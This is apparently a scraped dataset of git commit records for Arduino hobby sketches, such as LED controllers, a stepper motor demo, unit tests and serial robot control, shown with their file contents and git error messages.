'examples\/evothings.bluetooth_discovery\/firmware\/Token_fw_BEANHW.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"156628176f31613aa36c9ecd03bb49691bf26113","subject":"Teensy Quantize Test","message":"Teensy Quantize Test\n","repos":"ThisIsNotRocketScience\/Eurorack-Modules,ThisIsNotRocketScience\/Eurorack-Modules,ThisIsNotRocketScience\/Eurorack-Modules,ThisIsNotRocketScience\/Eurorack-Modules","old_file":"Development\/StageProjecten\/STM32test\/testquantizer\/testquantizer.ino","new_file":"Development\/StageProjecten\/STM32test\/testquantizer\/testquantizer.ino","new_contents":"const int pushButton = 2;\n\nint buttonState;\nint loopCounter = 0;\nfloat analogInput;\nfloat voltInput;\nint midiOutput;\nfloat voltOutput;\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(pushButton, INPUT_PULLUP);\n}\n\nfloat Quantize(float inp)\n{\n voltInput = inp \/ 1024.0f * 5.0f; \/\/ 0 - 1024 -> 0.0f - 1.0f -> 0.0f - 5.0f \n midiOutput = round(voltInput * 12); \n voltOutput = midiOutput \/ 12.0f;\n}\n\nvoid loop() {\n buttonState = digitalRead(pushButton);\n analogInput = analogRead(A0);\n\n if(buttonState == 0 && loopCounter < 1) {\n loopCounter++;\n\n Quantize(analogInput);\n \n Serial.print(\"Input: \");\n Serial.print(analogInput);\n Serial.print(\"\\tScaled: \");\n Serial.print(voltInput);\n Serial.print(\"\\tMidinote: \");\n Serial.print(midiOutput);\n Serial.print(\"\\tQuantized: \");\n Serial.println(voltOutput);\n }\n \n if(buttonState == 1) {\n loopCounter = 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Development\/StageProjecten\/STM32test\/testquantizer\/testquantizer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1412b571d1952e5000c87864197dfa1d31c8d056","subject":"graphic functions example","message":"graphic functions example\n","repos":"daniel3514\/Adafruit-GFX-Library,daniel3514\/Adafruit-GFX-Library","old_file":"Examples\/Graphic functions Tests\/graphicstest\/graphicstest.ino","new_file":"Examples\/Graphic functions Tests\/graphicstest\/graphicstest.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/Graphic' did not match any file(s) known to git\nerror: pathspec 'functions' did not match any file(s) known to git\nerror: pathspec 'Tests\/graphicstest\/graphicstest.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"b94b2a6d5366605c5194dcfb2b559ba4a9bb06f1","subject":"RFDUINO-shied firmware version","message":"RFDUINO-shied firmware version\n","repos":"teseolab\/rapIoT-gateway-app,teseolab\/rapIoT-gateway-app,teseolab\/rapIoT-gateway-app","old_file":"Tiles DEVICE\/LedButton_firmware_shield\/LedButton_firmware_shield.ino","new_file":"Tiles DEVICE\/LedButton_firmware_shield\/LedButton_firmware_shield.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tiles' did not match any file(s) known to git\nerror: pathspec 'DEVICE\/LedButton_firmware_shield\/LedButton_firmware_shield.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"030b5c240977d05e5a83c9880277673af75d119a","subject":"Add new sketch for ESP8266","message":"Add new sketch for ESP8266\n","repos":"darrell24015\/Uno,darrell24015\/Uno","old_file":"Blink_ESP8266\/Blink_ESP8266.ino","new_file":"Blink_ESP8266\/Blink_ESP8266.ino","new_contents":"\/*\n* Blink for esp8266\n*\/\n\n#define ESP8266_LED 2\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(ESP8266_LED, OUTPUT);\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(ESP8266_LED, HIGH);\n delay(1000);\n digitalWrite(ESP8266_LED, LOW);\n delay(1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Blink_ESP8266\/Blink_ESP8266.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"7b65b5380e17ceb5db0cf419d99984d1626df9b7","subject":"Added entertainment center code","message":"Added entertainment center code\n","repos":"mcelhennyi\/smart_home","old_file":"EntertainmentCenterLEDController\/ESP8266_led_strip_controller.ino","new_file":"EntertainmentCenterLEDController\/ESP8266_led_strip_controller.ino","new_contents":"#define ESPALEXA_ASYNC \/\/it is important to define this before #include <Espalexa.h>!\n#include <Espalexa.h>\n\n#ifdef ARDUINO_ARCH_ESP32\n#include <WiFi.h>\n#include <AsyncTCP.h>\n#else\n#include <ESP8266WiFi.h>\n#include <ESPAsyncTCP.h>\n#endif\n#include <ESPAsyncWebServer.h>\n#include \"Credentials.h\"\n\n\/\/ prototypes\nboolean connectWifi();\n\n\/\/callback functions\nvoid onTvUnderlightChanged(uint8_t brightness, uint32_t rgb);\nvoid onTvBacklightChanged(uint8_t brightness, uint32_t rgb);\n\nboolean wifiConnected = false;\n\nEspalexa espalexa;\nAsyncWebServer server(80);\n\nString device_0_name = \"TV Underlight\";\nString device_1_name = \"TV Backlight\";\n\nvoid setup()\n{\n Serial.begin(115200);\n \/\/ Initialise wifi connection\n wifiConnected = connectWifi();\n\n \n if(wifiConnected){\n server.on(\"\/\", HTTP_GET, [](AsyncWebServerRequest *request){\n request->send(200, \"text\/html\", getLightStatus());\n });\n server.on(\"\/test1\", HTTP_GET, [](AsyncWebServerRequest *request){\n request->send(200, \"text\/plain\", \"This is a second subpage you may have.\");\n });\n server.onNotFound([](AsyncWebServerRequest *request){\n if (!espalexa.handleAlexaApiCall(request)) \/\/if you don't know the URI, ask espalexa whether it is an Alexa control request\n {\n \/\/whatever you want to do with 404s\n request->send(404, \"text\/plain\", \"Not found\");\n }\n });\n\n \/\/ Define your devices here.\n espalexa.addDevice(device_0_name, onTvUnderlightChanged); \/\/simplest definition, default state off\n espalexa.addDevice(device_1_name, onTvBacklightChanged); \/\/simplest definition, default state off\n\n espalexa.begin(&server); \/\/give espalexa a pointer to your server object so it can use your server instead of creating its own\n \/\/server.begin(); \/\/omit this since it will be done by espalexa.begin(&server)\n } else\n {\n while (1)\n {\n Serial.println(\"Cannot connect to WiFi. Please check data and reset the ESP.\");\n delay(2500);\n }\n }\n}\n \nvoid loop()\n{\n espalexa.loop();\n delay(1);\n}\n\n\/\/our callback functions\nvoid onTvUnderlightChanged(uint8_t brightness, uint32_t rgb) \n{\n Serial.print(\"onTvUnderlightChanged changed to \");\n \n \/\/do what you need to do here, for example control RGB LED strip\n Serial.print(\"Brightness: \");\n Serial.print(brightness);\n Serial.print(\", Red: \");\n Serial.print((rgb >> 16) & 0xFF); \/\/get red component\n Serial.print(\", Green: \");\n Serial.print((rgb >> 8) & 0xFF); \/\/get green\n Serial.print(\", Blue: \");\n Serial.println(rgb & 0xFF); \/\/get blue\n}\n\n\/\/our callback functions\nvoid onTvBacklightChanged(uint8_t brightness, uint32_t rgb) \n{\n Serial.print(\"onTvBacklightChanged changed to \");\n \n \/\/do what you need to do here, for example control RGB LED strip\n Serial.print(\"Brightness: \");\n Serial.print(brightness);\n Serial.print(\", Red: \");\n Serial.print((rgb >> 16) & 0xFF); \/\/get red component\n Serial.print(\", Green: \");\n Serial.print((rgb >> 8) & 0xFF); \/\/get green\n Serial.print(\", Blue: \");\n Serial.println(rgb & 0xFF); \/\/get blue\n}\n\n\/\/ connect to wifi \u2013 returns true if successful or false if not\nboolean connectWifi(){\n boolean state = true;\n int i = 0;\n \n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n Serial.println(\"\");\n Serial.println(\"Connecting to WiFi\");\n\n \/\/ Wait for connection\n Serial.print(\"Connecting...\");\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n if (i > 20){\n state = false; break;\n }\n i++;\n }\n Serial.println(\"\");\n if (state){\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n }\n else {\n Serial.println(\"Connection failed.\");\n }\n delay(100);\n return state;\n}\n\nString getLightStatus()\n{\n Serial.println(\"New status!\");\n\n \/\/ TODO: Generate a color opposite of background for text\n String ret = String(\" \\\n <!DOCTYPE html> \\\n <html> \\\n <head> \\\n <META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"3\\\"> \\\n <style> \\\n label.device_0 { \\\n color: black; \\n\\\n background-color: rgb(\") + espalexa.getDevice(0)->getR() + String(\",\") + espalexa.getDevice(0)->getG() + String(\",\") + espalexa.getDevice(0)->getB() + String(\"); \\\n } \\\n label.device_1 { \\\n color: black; \\n\\\n background-color: rgb(\") + espalexa.getDevice(1)->getR() + String(\",\") + espalexa.getDevice(1)->getG() + String(\",\") + espalexa.getDevice(1)->getB() + String(\"); \\\n } \\\n <\/head> \\\n <\/style> \\\n <body> \\\n \\\n <h1>Entertainment Center Light Controls<\/h1> \\\n <label class=\\'device_0\\' > \" + device_0_name + \" Status <\/label> \\\n <br> \\\n <label class=\\'device_1\\' > \" + device_1_name + \" Status <\/label> \\\n \\\n <\/body> \\\n <\/html> \\\n \");\n return ret;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'EntertainmentCenterLEDController\/ESP8266_led_strip_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4bd8a2691aa264914abdf767d17778408fcedf9","subject":"Create Pitch_and_roll.ino","message":"Create Pitch_and_roll.ino","repos":"Garuda-1\/RealityGateway,Garuda-1\/RealityGateway","old_file":"ESP_SOFTWARE\/Pitch_and_roll.ino","new_file":"ESP_SOFTWARE\/Pitch_and_roll.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Garuda-1\/RealityGateway.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d899d60f6b01560973312571dea98629fd9110e9","subject":"minor changes","message":"minor changes\n","repos":"TEAMarg\/ID-37-DICE,TEAMarg\/ID-37-DICE","old_file":"DICE_DEV\/DICE_DEV.ino","new_file":"DICE_DEV\/DICE_DEV.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-37-DICE.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4e23e0d64eaaf033abea5dab3b56bb4684b2b84d","subject":"Create easydriver_demo.ino","message":"Create easydriver_demo.ino","repos":"jdmgroup\/robotchemistry","old_file":"easydriver\/easydriver_demo.ino","new_file":"easydriver\/easydriver_demo.ino","new_contents":"\/*\n\n Stepper Motor \/ Easydriver Demo (Robot Chemistry 4.IS8)\n\n James H. Bannock and John C. de Mello\n\n Department of Chemistry,\n Imperial College London\n\n Version 1.02\n\n Created: Feb 2015\n Updated: Nov 2016\n\n ---\n\n To be used on syringe pump demonstrator without the Tinkerkit shield in place.\n\n Stepper motor is a McLennan 35911\/4413 200-step stepper -> 1600 microsteps\/turn\n\n Component List and Socket Positions:\n\n Outputs:\n - Direction pin (BLACK WIRE) INTO EASYDRIVER - 2\n - Step pin (RED WIRE) INTO EASYDRIVER - 3\n\n*\/\n\n#define DIR_PIN 2\n#define STEP_PIN 3\n\nvoid setup() {\n \n pinMode(DIR_PIN, OUTPUT);\n pinMode(STEP_PIN, OUTPUT);\n}\n\nvoid loop() {\n\n \/\/ rotate a specific number of microsteps\n\n \/\/ speed in revolutions per second\n \n rotate(1600, 1, .5); \/\/ clockwise (forward) rotate\n delay(1000);\n\n rotate(1600, 0, .25); \/\/ anticlockwise (reverse) rotate\n delay(1000);\n}\n\nvoid rotate(int steps, int dir, float speed) {\n\n int stepsPerRevolution = 200; \/\/ stepper motor resolution\n \n digitalWrite(DIR_PIN, dir);\n \n float usDelay = (500000 \/ stepsPerRevolution) \/ speed;\n\n for (int i = 0; i < steps; i++) {\n digitalWrite(STEP_PIN, HIGH);\n delayMicroseconds(usDelay);\n digitalWrite(STEP_PIN, LOW);\n delayMicroseconds(usDelay);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'easydriver\/easydriver_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dc206b71a224874ebe44cb9a9a9daf2d4300b49e","subject":"Added unit tests","message":"Added unit tests\n","repos":"ozbotics\/Value","old_file":"test\/testValue\/testValue.ino","new_file":"test\/testValue\/testValue.ino","new_contents":"#line 2 \"testValue.ino\"\n#include <ArduinoUnit.h>\n#include <Value.h>\n\nchar outBuf[80];\n\n\ntest(float_default_is_0_0)\n{\n Value<float> floatVal1;\n \n assertEqual(floatVal1.getValue(), 0.0);\n \n floatVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"0\"), 0);\n}\n\ntest(float_setValue_1_0_default_format)\n{\n Value<float> floatVal1;\n floatVal1.setValue(1.0);\n \n assertEqual(floatVal1.getValue(), 1.0);\n \n floatVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"1\"), 0);\n}\n\ntest(float_setValue_1_12_with_decimals)\n{\n Value<float> floatVal1(1,2);\n floatVal1.setValue(1.12);\n \n assertEqual(floatVal1.getValue(), 1.12);\n \n floatVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"1.12\"), 0);\n}\n\ntest(float_setValue_1_with_padding)\n{\n Value<float> floatVal1(4,0);\n floatVal1.setValue(1.12);\n \n assertEqual(floatVal1.getValue(), 1.12);\n \n floatVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \" 1\"), 0);\n}\n\n\ntest(float_setValue_negative_1_12)\n{\n Value<float> floatVal1(1,2);\n floatVal1.setValue(-1.12);\n \n assertEqual(floatVal1.getValue(), -1.12);\n \n floatVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"-1.12\"), 0);\n}\n\ntest(float_setValue_1_01_scaled)\n{\n Value<float> floatVal1(1,2,10);\n floatVal1.setValue(10.10);\n \n assertEqual(floatVal1.getValue(), 10.10);\n \n floatVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"1.01\"), 0);\n}\n\n\ntest(int_default_is_0)\n{\n Value<int> intVal1;\n \n assertEqual(intVal1.getValue(), 0);\n \n intVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"0\"), 0);\n \n}\n\ntest(int_setValue_1_default_format)\n{\n Value<int> intVal1;\n intVal1.setValue(1);\n \n assertEqual(intVal1.getValue(), 1);\n \n intVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"1\"), 0);\n}\n\n\ntest(int_setValue_1_01_fixed_point_2_decimals)\n{\n Value<int> intVal1(1,2);\n intVal1.setValue(101);\n \n assertEqual(intVal1.getValue(), 101);\n \n intVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"1.01\"), 0);\n}\n\ntest(int_setValue_1_01_fixed_point_scaled_by_10)\n{\n Value<int> intVal1(1,2,10);\n intVal1.setValue(1010);\n \n assertEqual(intVal1.getValue(), 1010);\n \n intVal1.getValueString(outBuf);\n assertEqual(strcmp (outBuf, \"1.01\"), 0);\n}\n\n\ntest(int_setValue_negative_10_01)\n{\n Value<int> intVal1(1,2);\n intVal1.setValue(-1001);\n \n assertEqual(intVal1.getValue(), -1001);\n \n intVal1.getValueString(outBuf);\n \n assertEqual(strcmp (outBuf, \"-10.01\"), 0);\n}\n\n\n\nvoid setup()\n{\n Serial.begin(9600);\n while(!Serial); \/\/ for the Arduino Leonardo\/Micro only\n}\n\nvoid loop()\n{\n Test::run();\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/testValue\/testValue.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d393f73aac326a0fde13065ba7c77c8008e3b5f1","subject":"Blank main project","message":"Blank main project\n","repos":"GW-Robotics\/2016-ROV,GW-Robotics\/2016-ROV","old_file":"Robot\/Robot.ino","new_file":"Robot\/Robot.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robot\/Robot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0870f73ac21aa0a16aed7e1f705b5442166bb127","subject":"automated GET request","message":"automated GET request\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/wifi_test\/wifi_test.ino","new_file":"unit tests\/wifi_test\/wifi_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/wifi_test\/wifi_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a60879e2511cb81d32e26ecaa800f25f28437ae9","subject":"remove memset and delay","message":"remove memset and delay","repos":"lgramatikov\/celeste","old_file":"WarningBulb.ino","new_file":"WarningBulb.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d335614f47b1c9b92a38c27f811f43b8c4180027","subject":"Added BasicTest.","message":"Added BasicTest.\n","repos":"pololu\/pololu-hd44780-arduino","old_file":"PololuHD44780\/examples\/BasicTest\/BasicTest.ino","new_file":"PololuHD44780\/examples\/BasicTest\/BasicTest.ino","new_contents":"\/* This program can be used to test your LCD and demonstrates\nbasic use of the PololuHD44780 class. The word \"hi\" is displayed\nin the upper left corner and the letter \"i\" should be blinking.\n\nIf this doesn't work for you, be sure to check all of your\nconnections to the LCD, including GND, VCC, VO, RS, RW, E, DB4,\nDB5, DB6, and DB7. Make sure RW is tied to GND or pulled low\nwith a strong pull-up resistor (at most 1.5 kilOhms). Try\nadjusting the contrast of your LCD, especially if all the pixels\nare black or all the pixels are clear. Also try power cycling\nthe system in case the LCD is in a bad state. *\/\n\n#include <PololuHD44780.h>\n\n\/* The pins specified below will need to be connected to your\nLCD. The pins are specified in this order:\nRS, E, DB4, DB5, DB6, DB7. *\/\nPololuHD44780 lcd(7, 6, 5, 4, 3, 2);\n\nvoid setup()\n{\n}\n\nvoid loop()\n{\n lcd.clear();\n lcd.print('h');\n delay(500);\n lcd.print('i');\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PololuHD44780\/examples\/BasicTest\/BasicTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c0ba5933013d04ece37e56b3b0def104db2eb9d","subject":"Create patterns_of_blinking.ino","message":"Create patterns_of_blinking.ino","repos":"marmilicious\/FastLED_examples","old_file":"patterns_of_blinking.ino","new_file":"patterns_of_blinking.ino","new_contents":"\/\/***************************************************************\n\/\/ Patterns of Blinking!\n\/\/ Each pixel repeats a certain color pattern. Each pixel's\n\/\/ pattern can be different in both colors and length.\n\/\/ All patterns blink at the same rate.\n\/\/\n\/\/ This example was inspired by Mike Thornbury's forum post:\n\/\/ https:\/\/plus.google.com\/101708620681849403392\/posts\/J1HPyNBj7ET\n\/\/\n\/\/ Initially there is a bit of manual setup needed to add the\n\/\/ patterns and fill some things into the arrays. There is\n\/\/ probably fancier (less manual) ways to do this, but this\n\/\/ works for now!\n\/\/\n\/\/ Marc Miller, April 2018\n\/\/***************************************************************\n\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\n#define BRIGHTNESS 64\nCRGB leds[NUM_LEDS];\n\n#define ARRAY_SIZE(A) (sizeof(A) \/ sizeof((A)[0]))\n\nuint16_t patternDelay = 1000; \/\/time to display each color [milliseconds]\n\n\n\/\/ Custom colors can be added like this:\nlong colorA = 0x00FF7F; \/\/using HEX\nlong black = 0x000000;\n\nCRGB temp = CRGB(200,64,200); \/\/using RGB\nlong colorB = ((long)temp.r << 16L) | ((long)temp.g << 8L) | (long)temp.b;\n\nCRGB temp2 = CHSV(140,160,255); \/\/using HSV\nlong colorC = ((long)temp2.r << 16L) | ((long)temp2.g << 8L) | (long)temp2.b;\n\n\n\/\/ *** ADD patterns here, specify color order (includeing black). ***\n\/\/ Colors can be listed multiple times for a longer display (for example,\n\/\/ as green in pattern p2). Use black to turn a pixel off for a count.\nlong p0[] = {colorA, colorB};\nlong p1[] = {CRGB::Red, colorC, black};\nlong p2[] = {CRGB::Green, CRGB::Green, CRGB::Green, CRGB::Yellow};\nlong p3[] = {CRGB::Purple, CRGB::Red, CRGB::Purple, black, CRGB::Blue};\n\n\n\/\/ *** ADD each p# pattern above to this array. ***\nlong *patternList[] = { p0, p1, p2, p3 };\n\n\n\/\/ *** ADD additional lines here for each pattern above. ***\n\/\/ (This calculates the number of colors in each pattern.)\nconst uint8_t psize0 = ARRAY_SIZE(p0);\nconst uint8_t psize1 = ARRAY_SIZE(p1);\nconst uint8_t psize2 = ARRAY_SIZE(p2);\nconst uint8_t psize3 = ARRAY_SIZE(p3);\n\n\n\/\/ *** ADD each psize# above to this array. ***\nconst uint8_t patternSize[] = {psize0, psize1, psize2, psize3};\n\n\nconst uint8_t nPatterns = ARRAY_SIZE(patternList); \/\/calculate the number of patterns\nuint8_t patternCount[nPatterns]; \/\/keeps track of each pattern's current position\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ startup delay\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n FastLED.show();\n\n Serial.print(\"Number of patterns: \"); Serial.println(nPatterns);\n Serial.println(\"Number of colors per pattern: \");\n for (uint8_t i=0; i < nPatterns; i++) {\n Serial.print(\" psize\"); Serial.print(i); Serial.print(\" = \");\n Serial.println(patternSize[i]);\n }\n Serial.println(\"\\nSetup done. \\n\");\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n EVERY_N_MILLISECONDS(patternDelay) {\n \n for (uint8_t p=0; p < nPatterns; p++) {\n \/\/ Can use this to print out info for checking the pattern counts.\n \/\/Serial.print(\"p\"); Serial.print(p); \n \/\/Serial.print(\" patternCount: \");\n \/\/Serial.println(patternCount[p]);\n\n leds[p] = patternList[p][patternCount[p]];\n patternCount[p] = patternCount[p] + 1;\n if (patternCount[p] == patternSize[p]) {\n patternCount[p] = 0; \/\/reset count for this pattern\n }\n }\n\n FastLED.show(); \/\/this can be moved outside the EVERY_N block as needed\n\n }\/\/end_EVERY_N\n \n}\/\/end_main_loop\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'patterns_of_blinking.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"85b3d0596d7f82c41625d22587a5b856d2f038c2","subject":"Implements Chapter 5.2, Exercise 1 Solution","message":"Implements Chapter 5.2, Exercise 1 Solution\n","repos":"SumoRobotLeague\/MRK-1,SumoRobotLeague\/MRK-1","old_file":"Chapter_5\/Exercises\/Solution_1.ino","new_file":"Chapter_5\/Exercises\/Solution_1.ino","new_contents":"\/********************************************************************\n An Introduction to Robot Programming\n Author - Eric Ryan Harrison <me@ericharrison.info>\n http:\/\/github.com\/SumoRobotLeague\/MRK-1\/\n\n Lesson 5.2, Solution 1, Musical Helper Function\n********************************************************************\/\n\n\/***************************************************\n * Functional Requirements\n *\n * 1. Develop a function that will take 3 arguments\n * play the note provided for the duration specified,\n * then pause for the time specified by the rest\n * duration argument.\n *\n * 2. Define an array format that will contain all\n * three of the required arguments.\n *\n * 3. Loop through this array to play a song.\n ***************************************************\/\n\n#include \"Pitches.h\"\n\n#define buzzer 5\n\n\/\/ Our musical notation array.\nint notes[] = {\n\t\/\/ NOTE, DURATION, REST\n\tNOTE_C5, 250, 500,\n\tNOTE_C5, 250, 500,\n\tNOTE_G5, 250, 500,\n\tNOTE_G5, 250, 500,\n\tNOTE_A5, 250, 500,\n\tNOTE_A5, 250, 500,\n\tNOTE_G5, 500, 1000\n};\n\nvoid setup() {\n\tSerial.begin(9600);\n\tpinMode(buzzer, OUTPUT);\n\n\tint arrayLength = (sizeof(notes)\/sizeof(int));\n\tint notesToPlay = arrayLength \/ 3;\n\n\tSerial.println(\"Starting musical robot!\");\n\tSerial.print(\"Your notes array contains '\");\n\tSerial.print(notesToPlay);\n\tSerial.println(\"' total notes.\");\n}\n\nvoid loop() {\n\tint arrayLength = (sizeof(notes)\/sizeof(int));\n\n\t\/\/ NOTE: We are adding 3 to the loop index so that\n\t\/\/ we can always skip to the next note.\n\tfor ( int i = 0; i < arrayLength; i = i + 3) {\n\t\tplayNote(notes[i], notes[i+1], notes[i+2]);\n\t}\n\n\t\/\/ Once we've finished playing our melody, pause\n\t\/\/ for a few seconds and repeat. :)\n\n\tdelay(3000);\n}\n\nvoid playNote(int note, int duration, int rest) {\n\ttone(buzzer, note, duration);\n\tdelay(rest);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Chapter_5\/Exercises\/Solution_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0dfb4b8ab28794ccba017a2fd50ef6c1d492647","subject":"basic serial control of robot","message":"basic serial control of robot\n","repos":"Elucidation\/ArduinoZumoBot,Elucidation\/ArduinoZumoBot","old_file":"controller\/controller.ino","new_file":"controller\/controller.ino","new_contents":"\/\/#include <ZumoMotors.h>\n\n#define LED_PIN 13\n\n\/\/ZumoMotors motors;\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup()\n{\n \/\/ initialize serial:\n Serial.begin(9600);\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n \n pinMode(LED_PIN, OUTPUT);\n motors.setLeftSpeed(0);\n motors.setRightSpeed(0);\n}\n\nvoid loop()\n{\n}\n\n\/\/ Drive left and right wheel motors for dt milliseconds, blocking\nvoid drive(int vl, int vr, int dt_millis) {\n motors.setLeftSpeed(vl);\n motors.setRightSpeed(vr);\n delay(dt_millis);\n motors.setLeftSpeed(0);\n motors.setRightSpeed(0);\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n int vel, vel2;\n while (Serial.available()) {\n \/\/ Get state character from buffer\n char c = (char)Serial.read();\n\n switch (c) {\n case 'a':\n \/\/ Drive\n vel = Serial.parseInt();\n vel = constrain(vel, -400, 400);\n Serial.print(\"Drive \");\n Serial.println(vel);\n drive(vel,vel,250);\n break;\n \n case 'b':\n \/\/ Turn\n vel = Serial.parseInt();\n vel = constrain(vel, -400, 400);\n Serial.print(\"Turn \");\n Serial.println(vel);\n drive(vel,-vel,250);\n break;\n \n case 'c':\n \/\/ Both\n vel = Serial.parseInt();\n vel = constrain(vel, -400, 400);\n vel2 = Serial.parseInt();\n vel2 = constrain(vel2, -400, 400);\n Serial.print(\"Both \");\n Serial.print(vel);\n Serial.print(\" \");\n Serial.println(vel2);\n drive(vel,vel2,250);\n break;\n \n case 'd':\n \/\/ Stopping\n Serial.println(\"Stop\");\n drive(0,0,0);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'controller\/controller.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9424287928d8cedc704871f014c135a8c3651dbf","subject":"Test program for Arduino searching for valid RI codes","message":"Test program for Arduino searching for valid RI codes\n","repos":"docbender\/Onkyo-RI","old_file":"Onkyo_test\/Onkyo_test.ino","new_file":"Onkyo_test\/Onkyo_test.ino","new_contents":"\/\/---------------------------------------------------------------------------\n\/\/\n\/\/ Name: Onkyo_test.cpp\n\/\/ Author: Vita Tucek\n\/\/ Created: 10.1.2016\n\/\/ License: MIT\n\/\/ Description: Test loop for check all RI codes on tagret Onkyo device\n\/\/\n\/\/---------------------------------------------------------------------------\n\n#include \"Arduino.h\"\n\n\/\/ UART\n#define UART_SPEED 9600\n\/\/ ONKYO\n#define ONKYO_PIN 10\n\nint i=0;\nbool pause = 0;\n\nvoid setup() {\n Serial.begin(UART_SPEED);\n\n \/\/nastaveni ONKYO vystupu\n pinMode(ONKYO_PIN, OUTPUT);\n digitalWrite(ONKYO_PIN, LOW);\n\n Serial.println(\"Ready\");\n}\n\nvoid loop() {\n int cmd = 0;\n \n if(Serial.available())\n {\n char c = Serial.read();\n\n if(c == 'p')\n {\n pause = !pause;\n }\n if(c == 'r')\n {\n i=0;\n pause = false;\n }\n if(c >= '0' and c <= '9' || c >= 'a' and c <= 'f')\n {\n if(c >= '0' and c <= '9')\n cmd = c-0x30;\n else if(c >= 'a' and c <= 'f')\n cmd = c-0x61+0xA;\n\n delay(10);\n \n while(Serial.available())\n {\n c = Serial.read();\n\n if(c >= '0' and c <= '9' || c >= 'a' and c <= 'f')\n {\n cmd <<=4;\n \n if(c >= '0' and c <= 